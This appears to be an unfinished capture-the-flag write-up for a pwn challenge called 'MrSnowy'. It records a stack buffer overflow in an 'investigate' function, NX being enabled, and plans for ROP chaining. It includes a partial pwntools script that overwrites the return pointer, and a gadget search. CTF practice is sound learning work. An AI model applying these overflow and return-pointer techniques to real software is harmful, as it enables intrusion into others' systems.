# MrSnowy There is ❄️ snow everywhere!! Kids are playing around, everything looks amazing. But, this ☃️ snowman... it scares me.. He is always 👀 staring at Santa's house. Something must be wrong with him. ## Flag Not pwned ## Progress so far ![vulnerable function](images/investigate.png) - The `read()` reads 0x108 bytes of input from stdin - The buffer is uninitialized - The functioncall sits at `*investigate+67` - The Stackframe of the function only has a size of 0x40 bytes - `checksec --file=mrsnowy` reports NX being enabled - So no shellcode will be placable unless there is executable space - This hints to ROP Chaining ![dissasembly of investigate function](images/investigate_disass.png) - The binary should be patched to get rid of the timetaking animation - Just `nop` the banner() function call using radare2 - Overwriting the returnpointer of `investigate()` using pwntools: ```python context(arch='x86_64', os='linux') context.terminal = ['/usr/bin/alacritty', '-e'] e = ELF("mr_snowy") p = process(e.path) # read banner and stuff until input is requested def do_read(): while True: ll = p.read() print(ll) if b'>' in ll: break # if not patched wait for the animation and send 1 do_read() p.sendline('1') do_read() # write 0x48 bytes and overwrite the return pointer to the top of the stackframe p.sendline(b'\xCC' * 0x48 + p64(0x7fffffffc000)) # start the python debugger to get a coredump which is loadable by gdb ipdb.set_trace() ``` - Trying to find ROP Gadgets using pwntools ```python e = ELF("mr_snowy") rop = ROP(elf) rop.rbx rop.gadgets ```